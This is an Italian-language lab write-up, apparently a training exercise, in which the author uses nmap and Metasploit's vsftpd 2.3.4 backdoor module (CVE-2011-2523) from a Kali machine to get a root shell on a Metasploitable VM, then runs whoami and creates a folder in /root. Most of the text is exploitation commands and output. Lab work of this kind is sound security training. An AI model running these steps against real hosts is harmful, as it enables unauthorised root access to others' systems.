MSFCONSOLE

Sfruttamento vulnerabilitá del servizio vsftpd 2.3.4 referenza **CVE-2011-2523.**

IP attaccante: 192.168.1.8 KALI

IP bersaglio: 192.168.1.10 METASPLOITABLE

Scansione con nmap dei servizi, avvio msfconsole e ricerca exploit per la versione del servizio.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.1.10
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-05 05:48 EST
Stats: 0:00:30 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 95.45% done; ETC: 05:48 (0:00:01 remaining)
Nmap scan report for computer-4.station (192.168.1.10)
Host is up (0.0036s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE    SERVICE     VERSION
21/tcp   open     ftp         vsftpd 2.3.4
22/tcp   open     ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open     telnet      Linux telnetd
25/tcp   open     smtp        Postfix smtpd
53/tcp   open     domain      ISC BIND 9.4.2
80/tcp   open     http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open     rpcbind     2 (RPC #100000)
139/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open     exec?
513/tcp  open     login
514/tcp  open     tcpwrapped
1099/tcp open     java-rmi    GNU Classpath grmiregistry
1524/tcp filtered ingreslock
2049/tcp open     nfs         2-4 (RPC #100003)
```

```
       =[ metasploit v6.2.26-dev                          ]
+ -- --=[ 2264 exploits - 1189 auxiliary - 404 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Use help <command> to learn more
about any command
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftp

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execu
tion


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
```

Vediamo appunto sull'nmap il servizio vsftpd 2.3.4 e come exploit una backdoor risalente al 2011.

Carichiamo l'exploit e facciamo show options o info per vedere i dettagli

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki
                                      /Using-Metasploit
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Settiamo sull'RHOSTS l'ip della vittima, ricontrolliamo con info se è stato inserito e avviamo l'exploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.10:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.10:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.10:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.10:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.8:33127 → 192.168.1.10:6200) at 2022-12-05 06:01:41 -0500
```

Come possiamo leggere ha caricato la shell quindi se scriviamo whoami dovremmo vedere l'utente

```
whoami
root


ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:fe:15:08 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.10/24 brd 192.168.100.255 scope global eth0
    inet6 fe80::a00:27ff:fefe:1508/64 scope link
       valid_lft forever preferred_lft forever
```

Possiamo vedere che siamo loggati come root e con ip a controlliamo se effettivamente siamo dentro.

```
mkdir /root/test_meta
cd root && ls
Desktop
reset_logs.sh
test_meta
vnc.log
```

Creo una cartella nella root "test_meta" e la visualizzo con ls

```
msfadmin@metasploitable:~$ ls /root/
Desktop  reset_logs.sh  test_meta  vnc.log
```

Provo ls sulla macchina METASPLOITABLE per verificare che c'é